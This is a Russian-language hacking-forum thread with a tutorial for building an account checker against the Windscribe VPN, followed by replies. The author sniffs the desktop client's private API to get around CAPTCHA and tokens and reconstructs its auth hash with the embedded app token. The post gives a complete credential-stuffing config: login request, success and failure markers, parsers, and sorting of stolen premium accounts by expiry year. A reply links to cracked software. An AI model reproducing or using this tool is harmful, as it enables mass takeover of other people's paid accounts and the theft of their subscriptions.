[PK Tutorial] Writing a checker. We bypass captcha and different tokens

renameduser_471445 · Jul 12, 2019

Итак, сегодня я научу вас обходить капчу и мусор при написании чекера
Возьмем сайт https://windscribe.com
Сниффим обычную web авторизацию
Видим, что в запросе куча мусора

+ вылазит такая хрень

Такая авторизация нам не подходит
Скачиваем windscribe на пк
идем сюда

переключаем на http
запускаем fiddler, или другой sniffer

вписываем в windscribe

пробуем авторизоваться, обычно такие клиенты работают по закрытому api без мусора

соглашаемся
И в fiddler появился запрос

Как видим без мусора в виде токенов, но так же появился параметр client_auth_hash
Дальше умение гуглить
Вот, что удалось найти мне
Ссылка https://github.com/Windscribe/brows...master/common/scripts/background/Utilities.js
Ищем на странице client

Алгоритм cleint_auth_hash оказался простым
(Токен приложения + timestamp) в md5
Теперь киппер:
Будет всего один запрос + немного js
В url -> https://api.windscribe.com/Session
В пост данные -> username=|LOGIN|&password=|PWD|&session_type_id=3&time=|TIMESTAMP|&client_auth_hash=(|MD5|952b4412f002315aa50751032fcaab03|TIMESTAMP||MD5|)
Определение гуда -> 201 Created|pos>0||HEADERS|
Бэда -> "errorCode": 702|pos>0||RESPONSE||OR|"errorCode": 502|pos>0||RESPONSE|
Капчи -> <html><body>|pos>0||RESPONSE||OR|Attention Required! | Cloudflare|pos>0||RESPONSE||OR|yjs-captcha-container|pos>0||RESPONSE||OR|502 Bad Gateway|pos>0||HEADERS|

Code
В url -> https://api.windscribe.com/Session

В пост данные -> username=|LOGIN|&password=|PWD|&session_type_id=3&time=|TIMESTAMP|&client_auth_hash=(|MD5|952b4412f002315aa50751032fcaab03|TIMESTAMP||MD5|)

Определение гуда -> 201 Created|pos>0||HEADERS|

Бэда -> "errorCode": 702|pos>0||RESPONSE||OR|"errorCode": 502|pos>0||RESPONSE|

Капчи -> <html><body>|pos>0||RESPONSE||OR|Attention Required! | Cloudflare|pos>0||RESPONSE||OR|yjs-captcha-container|pos>0||RESPONSE||OR|502 Bad Gateway|pos>0||HEADERS|
Да, cloudflare мешает сильно, но тут только хорошие ******
Проверяем

Будем парсить все возможное
А именно username, traffic_used, traffic_max, email, is_premium, reg_date, last_reset.
is_premium будем заменять на "-" в случае, если он 0, и на expires, если 1(дальше узнаете почему)

Дальше нужно узнать как отображается pro аккаунт
Пришлось потратиться и купить
Чекаем с pro акком

Нужные нам значения: premium_expiry_date и rebill
Перейдем к логу
Добавляем динам переменную traffleft
Теперь js
Объяснять не вижу смысла, это уже яп
#beginScript
|DV|[traffleft]=(|EVAL|
var s = (|MATH||PARS|[3]-|PARS|[2]|MATH|)
function bytesToSize(bytes) {
var sizes = ['Bytes', 'KB', 'MB', 'GB', 'TB'];
if (bytes == 0) return '0 Byte';
var i = parseInt(Math.floor(Math.log(bytes) / Math.log(1024)));
return Math.round(bytes / Math.pow(1024, i), 2) + ' ' + sizes[i];
}
bytesToSize(s)
|EVAL|)
#endScript

#beginScript
|PARS|[3]=(|EVAL|
var s = |PARS|[3]
function bytesToSize(bytes) {
var sizes = ['Bytes', 'KB', 'MB', 'GB', 'TB'];
if (bytes == 0) return '0 Byte';
var i = parseInt(Math.floor(Math.log(bytes) / Math.log(1024)));
return Math.round(bytes / Math.pow(1024, i), 2) + ' ' + sizes[i];
}
bytesToSize(s)
|EVAL|)
#endScript

#beginScript
|PARS|[2]=(|EVAL|
var s = |PARS|[2]
function bytesToSize(bytes) {
var sizes = ['Bytes', 'KB', 'MB', 'GB', 'TB'];
if (bytes == 0) return '0 Byte';
var i = parseInt(Math.floor(Math.log(bytes) / Math.log(1024)));
return Math.round(bytes / Math.pow(1024, i), 2) + ' ' + sizes[i];
}
bytesToSize(s)
|EVAL|)
#endScript

#beginScript
|PARS|[6]=(|EVAL|
var s = |PARS|[6]
function timeConverter(UNIX_timestamp){
var a = new Date(UNIX_timestamp * 1000);
var months = ['Jan','Feb','Mar','Apr','May','Jun','Jul','Aug','Sep','Oct','Nov','Dec'];
var year = a.getFullYear();
var month = months[a.getMonth()];
var date = a.getDate();
var hour = a.getHours();
var min = a.getMinutes();
var sec = a.getSeconds();
var time = date + ' ' + month + ' ' + year + ' ' + hour + ':' + min + ':' + sec ;
return time;
}
timeConverter(s)
|EVAL|)
#endScript

#beginScript
|PARS|[8]=(|EVAL|
var d = '|PARS|[8]';
function normal(d) {
var months = ['Jan','Feb','Mar','Apr','May','Jun','Jul','Aug','Sep','Oct','Nov','Dec'];
d = d.split('-');
var month = d[1];
var date = d[2];
var year = d[0];
var normal = date + ' ' + months[month] + ' ' + year;
return normal;
}
normal(d)
|EVAL|)
#endScript

Code
#beginScript

|DV|[traffleft]=(|EVAL|

var s = (|MATH||PARS|[3]-|PARS|[2]|MATH|)

function bytesToSize(bytes) {

   var sizes = ['Bytes', 'KB', 'MB', 'GB', 'TB'];

   if (bytes == 0) return '0 Byte';

   var i = parseInt(Math.floor(Math.log(bytes) / Math.log(1024)));

   return Math.round(bytes / Math.pow(1024, i), 2) + ' ' + sizes[i];

}

bytesToSize(s)

|EVAL|)

#endScript



#beginScript

|PARS|[3]=(|EVAL|

var s = |PARS|[3]

function bytesToSize(bytes) {

   var sizes = ['Bytes', 'KB', 'MB', 'GB', 'TB'];

   if (bytes == 0) return '0 Byte';

   var i = parseInt(Math.floor(Math.log(bytes) / Math.log(1024)));

   return Math.round(bytes / Math.pow(1024, i), 2) + ' ' + sizes[i];

}

bytesToSize(s)

|EVAL|)

#endScript



#beginScript

|PARS|[2]=(|EVAL|

var s = |PARS|[2]

function bytesToSize(bytes) {

   var sizes = ['Bytes', 'KB', 'MB', 'GB', 'TB'];

   if (bytes == 0) return '0 Byte';

   var i = parseInt(Math.floor(Math.log(bytes) / Math.log(1024)));

   return Math.round(bytes / Math.pow(1024, i), 2) + ' ' + sizes[i];

}

bytesToSize(s)

|EVAL|)

#endScript



#beginScript

|PARS|[6]=(|EVAL|

var s = |PARS|[6]

function timeConverter(UNIX_timestamp){

  var a = new Date(UNIX_timestamp * 1000);

  var months = ['Jan','Feb','Mar','Apr','May','Jun','Jul','Aug','Sep','Oct','Nov','Dec'];

  var year = a.getFullYear();

  var month = months[a.getMonth()];

  var date = a.getDate();

  var hour = a.getHours();

  var min = a.getMinutes();

  var sec = a.getSeconds();

  var time = date + ' ' + month + ' ' + year + ' ' + hour + ':' + min + ':' + sec ;

  return time;

}

timeConverter(s)

|EVAL|)

#endScript



#beginScript

|PARS|[8]=(|EVAL|

var d = '|PARS|[8]';

function normal(d) {

    var months = ['Jan','Feb','Mar','Apr','May','Jun','Jul','Aug','Sep','Oct','Nov','Dec'];

    d = d.split('-');

    var month = d[1];

    var date = d[2];

    var year = d[0];

    var normal = date + ' ' + months[month] + ' ' + year;

    return normal;

}

normal(d)

|EVAL|)

#endScript
Объясню только функции
1. bytesToSize конвертирует байты в читаемый вид(kb. mb. gb)
2. timeConverter из timestamp в дату
3. normal из даты вида 2019-10-12 в 12 Nov 2019
Сам лог получился такой
---------------------------------------
|LOGIN|:|PWD|
Username: |PARS|[1]
Email: |PARS|[4]
Premium: |PARS|[5](|REPLACESTR||IN| |PARS|[8] | |PARS|[9]|IN||FROM| undefined undefined | |FROM||TO||TO||
IGNORECASE||REPLACESTR|)
Traffic left: (|REPLACESTR||IN||DV|[traffleft]|IN||FROM|NaN undefined|FROM||TO|Unlimited|TO||REPLACESTR|)
Traffic used: |PARS|[2]
All traffic: (|REPLACESTR||IN||PARS|[3]|IN||FROM|NaN undefined|FROM||TO|Unlimited|TO||REPLACESTR|)
Reg date: |PARS|[6]
Last traffic reset: |PARS|[7]
---------------------------------------

Code
---------------------------------------

|LOGIN|:|PWD|

Username: |PARS|[1]

Email: |PARS|[4]

Premium: |PARS|[5](|REPLACESTR||IN| |PARS|[8] | |PARS|[9]|IN||FROM| undefined undefined  | |FROM||TO||TO||

IGNORECASE||REPLACESTR|)

Traffic left: (|REPLACESTR||IN||DV|[traffleft]|IN||FROM|NaN undefined|FROM||TO|Unlimited|TO||REPLACESTR|)

Traffic used: |PARS|[2]

All traffic: (|REPLACESTR||IN||PARS|[3]|IN||FROM|NaN undefined|FROM||TO|Unlimited|TO||REPLACESTR|)

Reg date: |PARS|[6]

Last traffic reset: |PARS|[7]

---------------------------------------
|PARS|[9] - это автопродление подписки pro (True/False)
Теперь доп файлы
Будут такие
Premium.txt
Emailpass.txt
Loginpass.txt
2019.txt
2020.txt
2021.txt
2022.txt
...
2035.txt
То есть premium.txt со всеми премиум акками
Emailpass/Loginpass - типо созание заточек(просто так, сомневаюсь, что из них что-то получится)
Сортирока premium по годам до 2035
Логическая операция: -|pos=0||PARS|[5]|AND|ТУТ ГОД ФАЙЛА|pos>0||PARS|[8]
Проект написан
Надеюсь хоть что-то было понятно
Итог такой: если видите токены, которые нужно получать из html кода страницы, лучше ищите закрытое api. На нем скорее всего не будет никаких ограничений, и проект будет летать без пропусков
Проект(открыт редакт): https://zelenka.guru/threads/1025653/

RichAmiri · Jul 12, 2019

Годно, спасибо)

s4v4qe · Jul 12, 2019

renameduser_471445 Итак, сегодня я научу вас обходить капчу и мусор при написании чекера
Возьмем сайт https://windscribe.com
Сниффим обычную web авторизацию
Видим, что в запросе куча мусора

+ вылазит такая хрень

Такая авторизация нам не подходит
Скачиваем windscribe на пк
идем сюда

переключаем на http
запускаем fiddler, или другой sniffer

вписываем в windscribe

пробуем авторизоваться, обычно такие клиенты работают по закрытому api без мусора

соглашаемся
И в fiddler появился запрос

Как видим без мусора в виде токенов, но так же появился параметр client_auth_hash
Дальше умение гуглить
Вот, что удалось найти мне
Ссылка https://github.com/Windscribe/brows...master/common/scripts/background/Utilities.js
Ищем на странице client

Алгоритм cleint_auth_hash оказался простым
(Токен приложения + timestamp) в md5
Теперь киппер:
Будет всего один запрос + немного js
В url -> https://api.windscribe.com/Session
В пост данные -> username=|LOGIN|&password=|PWD|&session_type_id=3&time=|TIMESTAMP|&client_auth_hash=(|MD5|952b4412f002315aa50751032fcaab03|TIMESTAMP||MD5|)
Определение гуда -> 201 Created|pos>0||HEADERS|
Бэда -> "errorCode": 702|pos>0||RESPONSE||OR|"errorCode": 502|pos>0||RESPONSE|
Капчи -> <html><body>|pos>0||RESPONSE||OR|Attention Required! | Cloudflare|pos>0||RESPONSE||OR|yjs-captcha-container|pos>0||RESPONSE||OR|502 Bad Gateway|pos>0||HEADERS|

Code
В url -> https://api.windscribe.com/Session

В пост данные -> username=|LOGIN|&password=|PWD|&session_type_id=3&time=|TIMESTAMP|&client_auth_hash=(|MD5|952b4412f002315aa50751032fcaab03|TIMESTAMP||MD5|)

Определение гуда -> 201 Created|pos>0||HEADERS|

Бэда -> "errorCode": 702|pos>0||RESPONSE||OR|"errorCode": 502|pos>0||RESPONSE|

Капчи -> <html><body>|pos>0||RESPONSE||OR|Attention Required! | Cloudflare|pos>0||RESPONSE||OR|yjs-captcha-container|pos>0||RESPONSE||OR|502 Bad Gateway|pos>0||HEADERS|
Да, cloudflare мешает сильно, но тут только хорошие ******
Проверяем

Будем парсить все возможное
А именно username, traffic_used, traffic_max, email, is_premium, reg_date, last_reset.
is_premium будем заменять на "-" в случае, если он 0, и на expires, если 1(дальше узнаете почему)

Дальше нужно узнать как отображается pro аккаунт
Пришлось потратиться и купить
Чекаем с pro акком

Нужные нам значения: premium_expiry_date и rebill
Перейдем к логу
Добавляем динам переменную traffleft
Теперь js
Объяснять не вижу смысла, это уже яп
#beginScript
|DV|[traffleft]=(|EVAL|
var s = (|MATH||PARS|[3]-|PARS|[2]|MATH|)
function bytesToSize(bytes) {
var sizes = ['Bytes', 'KB', 'MB', 'GB', 'TB'];
if (bytes == 0) return '0 Byte';
var i = parseInt(Math.floor(Math.log(bytes) / Math.log(1024)));
return Math.round(bytes / Math.pow(1024, i), 2) + ' ' + sizes[i];
}
bytesToSize(s)
|EVAL|)
#endScript

#beginScript
|PARS|[3]=(|EVAL|
var s = |PARS|[3]
function bytesToSize(bytes) {
var sizes = ['Bytes', 'KB', 'MB', 'GB', 'TB'];
if (bytes == 0) return '0 Byte';
var i = parseInt(Math.floor(Math.log(bytes) / Math.log(1024)));
return Math.round(bytes / Math.pow(1024, i), 2) + ' ' + sizes[i];
}
bytesToSize(s)
|EVAL|)
#endScript

#beginScript
|PARS|[2]=(|EVAL|
var s = |PARS|[2]
function bytesToSize(bytes) {
var sizes = ['Bytes', 'KB', 'MB', 'GB', 'TB'];
if (bytes == 0) return '0 Byte';
var i = parseInt(Math.floor(Math.log(bytes) / Math.log(1024)));
return Math.round(bytes / Math.pow(1024, i), 2) + ' ' + sizes[i];
}
bytesToSize(s)
|EVAL|)
#endScript

#beginScript
|PARS|[6]=(|EVAL|
var s = |PARS|[6]
function timeConverter(UNIX_timestamp){
var a = new Date(UNIX_timestamp * 1000);
var months = ['Jan','Feb','Mar','Apr','May','Jun','Jul','Aug','Sep','Oct','Nov','Dec'];
var year = a.getFullYear();
var month = months[a.getMonth()];
var date = a.getDate();
var hour = a.getHours();
var min = a.getMinutes();
var sec = a.getSeconds();
var time = date + ' ' + month + ' ' + year + ' ' + hour + ':' + min + ':' + sec ;
return time;
}
timeConverter(s)
|EVAL|)
#endScript

#beginScript
|PARS|[8]=(|EVAL|
var d = '|PARS|[8]';
function normal(d) {
var months = ['Jan','Feb','Mar','Apr','May','Jun','Jul','Aug','Sep','Oct','Nov','Dec'];
d = d.split('-');
var month = d[1];
var date = d[2];
var year = d[0];
var normal = date + ' ' + months[month] + ' ' + year;
return normal;
}
normal(d)
|EVAL|)
#endScript

Code
#beginScript

|DV|[traffleft]=(|EVAL|

var s = (|MATH||PARS|[3]-|PARS|[2]|MATH|)

function bytesToSize(bytes) {

   var sizes = ['Bytes', 'KB', 'MB', 'GB', 'TB'];

   if (bytes == 0) return '0 Byte';

   var i = parseInt(Math.floor(Math.log(bytes) / Math.log(1024)));

   return Math.round(bytes / Math.pow(1024, i), 2) + ' ' + sizes[i];

}

bytesToSize(s)

|EVAL|)

#endScript



#beginScript

|PARS|[3]=(|EVAL|

var s = |PARS|[3]

function bytesToSize(bytes) {

   var sizes = ['Bytes', 'KB', 'MB', 'GB', 'TB'];

   if (bytes == 0) return '0 Byte';

   var i = parseInt(Math.floor(Math.log(bytes) / Math.log(1024)));

   return Math.round(bytes / Math.pow(1024, i), 2) + ' ' + sizes[i];

}

bytesToSize(s)

|EVAL|)

#endScript



#beginScript

|PARS|[2]=(|EVAL|

var s = |PARS|[2]

function bytesToSize(bytes) {

   var sizes = ['Bytes', 'KB', 'MB', 'GB', 'TB'];

   if (bytes == 0) return '0 Byte';

   var i = parseInt(Math.floor(Math.log(bytes) / Math.log(1024)));

   return Math.round(bytes / Math.pow(1024, i), 2) + ' ' + sizes[i];

}

bytesToSize(s)

|EVAL|)

#endScript



#beginScript

|PARS|[6]=(|EVAL|

var s = |PARS|[6]

function timeConverter(UNIX_timestamp){

  var a = new Date(UNIX_timestamp * 1000);

  var months = ['Jan','Feb','Mar','Apr','May','Jun','Jul','Aug','Sep','Oct','Nov','Dec'];

  var year = a.getFullYear();

  var month = months[a.getMonth()];

  var date = a.getDate();

  var hour = a.getHours();

  var min = a.getMinutes();

  var sec = a.getSeconds();

  var time = date + ' ' + month + ' ' + year + ' ' + hour + ':' + min + ':' + sec ;

  return time;

}

timeConverter(s)

|EVAL|)

#endScript



#beginScript

|PARS|[8]=(|EVAL|

var d = '|PARS|[8]';

function normal(d) {

    var months = ['Jan','Feb','Mar','Apr','May','Jun','Jul','Aug','Sep','Oct','Nov','Dec'];

    d = d.split('-');

    var month = d[1];

    var date = d[2];

    var year = d[0];

    var normal = date + ' ' + months[month] + ' ' + year;

    return normal;

}

normal(d)

|EVAL|)

#endScript
Объясню только функции
1. bytesToSize конвертирует байты в читаемый вид(kb. mb. gb)
2. timeConverter из timestamp в дату
3. normal из даты вида 2019-10-12 в 12 Nov 2019
Сам лог получился такой
---------------------------------------
|LOGIN|:|PWD|
Username: |PARS|[1]
Email: |PARS|[4]
Premium: |PARS|[5](|REPLACESTR||IN| |PARS|[8] | |PARS|[9]|IN||FROM| undefined undefined | |FROM||TO||TO||
IGNORECASE||REPLACESTR|)
Traffic left: (|REPLACESTR||IN||DV|[traffleft]|IN||FROM|NaN undefined|FROM||TO|Unlimited|TO||REPLACESTR|)
Traffic used: |PARS|[2]
All traffic: (|REPLACESTR||IN||PARS|[3]|IN||FROM|NaN undefined|FROM||TO|Unlimited|TO||REPLACESTR|)
Reg date: |PARS|[6]
Last traffic reset: |PARS|[7]
---------------------------------------

Code
---------------------------------------

|LOGIN|:|PWD|

Username: |PARS|[1]

Email: |PARS|[4]

Premium: |PARS|[5](|REPLACESTR||IN| |PARS|[8] | |PARS|[9]|IN||FROM| undefined undefined  | |FROM||TO||TO||

IGNORECASE||REPLACESTR|)

Traffic left: (|REPLACESTR||IN||DV|[traffleft]|IN||FROM|NaN undefined|FROM||TO|Unlimited|TO||REPLACESTR|)

Traffic used: |PARS|[2]

All traffic: (|REPLACESTR||IN||PARS|[3]|IN||FROM|NaN undefined|FROM||TO|Unlimited|TO||REPLACESTR|)

Reg date: |PARS|[6]

Last traffic reset: |PARS|[7]

---------------------------------------
|PARS|[9] - это автопродление подписки pro (True/False)
Теперь доп файлы
Будут такие
Premium.txt
Emailpass.txt
Loginpass.txt
2019.txt
2020.txt
2021.txt
2022.txt
...
2035.txt
То есть premium.txt со всеми премиум акками
Emailpass/Loginpass - типо созание заточек(просто так, сомневаюсь, что из них что-то получится)
Сортирока premium по годам до 2035
Логическая операция: -|pos=0||PARS|[5]|AND|ТУТ ГОД ФАЙЛА|pos>0||PARS|[8]
Проект написан
Надеюсь хоть что-то было понятно
Итог такой: если видите токены, которые нужно получать из html кода страницы, лучше ищите закрытое api. На нем скорее всего не будет никаких ограничений, и проект будет летать без пропусков
Проект(открыт редакт):
Click to expand...
Скок PK стоит?

renameduser_471445 · Jul 12, 2019

s4v4qe, кряк есть

KillSeed · Jul 12, 2019

Нихуя не прочитал, но симпу влепил

s4v4qe · Jul 12, 2019

renameduser_471445, Так кряк кривой наверно , я видел его... но не качал там он и старый вроде..

renameduser_471445 · Jul 12, 2019

s4v4qe, самый новый с 2018 года

s4v4qe · Jul 12, 2019

renameduser_471445 s4v4qe, самый новый с 2018 года
Click to expand...

ссылку?

renameduser_471445 · Jul 13, 2019

s4v4qe ссылку?
Click to expand...

https://zelenka.guru/threads/746251/

Пифагор · Jul 14, 2019

Еба годнота, спасибули

Пифагор · Jul 15, 2019

renameduser_471445, - что это за окошко? В какой проге?

renameduser_471445 · Jul 15, 2019

Пифагор renameduser_471445, - что это за окошко? В какой проге?
Click to expand...

в windscribe *** настройки ******

Пифагор · Jul 15, 2019

renameduser_471445, понял

The post was merged to previous Jul 15, 2019
renameduser_471445, может быть такое что клиент не отправляет запрос или что-то типо такого?

renameduser_471445 · Jul 15, 2019

Пифагор, нет, просто у него настройки ****** по умолчанию отключены, попробуй http analyzer v7

Чивапчик · Jul 15, 2019

лучше бы видос,словами сложно

Пифагор · Jul 15, 2019

renameduser_471445 Пифагор, нет, просто у него настройки ****** по умолчанию отключены, попробуй http analyzer v7
Click to expand...

я и пробую

I will help with the project, advise

I will record your scripts for free, I will advise

BAS question is asynchronously

Lolzteam API - Module to manage your Lolzteam profile in BAS

Module for working with iOS or I am writing my auto -zero for Tiktok (Uploader) | Appeal to the code

Help with the engine itself

Timeout during creating new process

Curses

What is happening at all

Looking for a partner, many orders

Pages do not load

Help with the problem of Zennodroid

Logger module is not a work (

An error when trying to get the number of letters according to the parameter

Not in order

How to make a string to be taken from a file and inserted into the login pass

How to make a normal preservation of results?

Request interrupted

Old projects are not launched

I make software BAS for free for a review (as part of a reasonable one)

Is there an open publication of infa about receiving letters of Gmail?

BAS does not write symbols from the variable

How to pass captcha like a puzzle?

Checkers at Zennoposter [Spotify Fansly Hetzner iProyal and More] 247bots

How to save in a separate folder if the balance is above 85

How to turn off the sound of a browser? BAS

Problem in the compiled program

How to open 2gis?

Bas Python module

How to configure automatic filling of the registration form

[PK Tutorial] Writing a checker. We bypass captcha and different tokens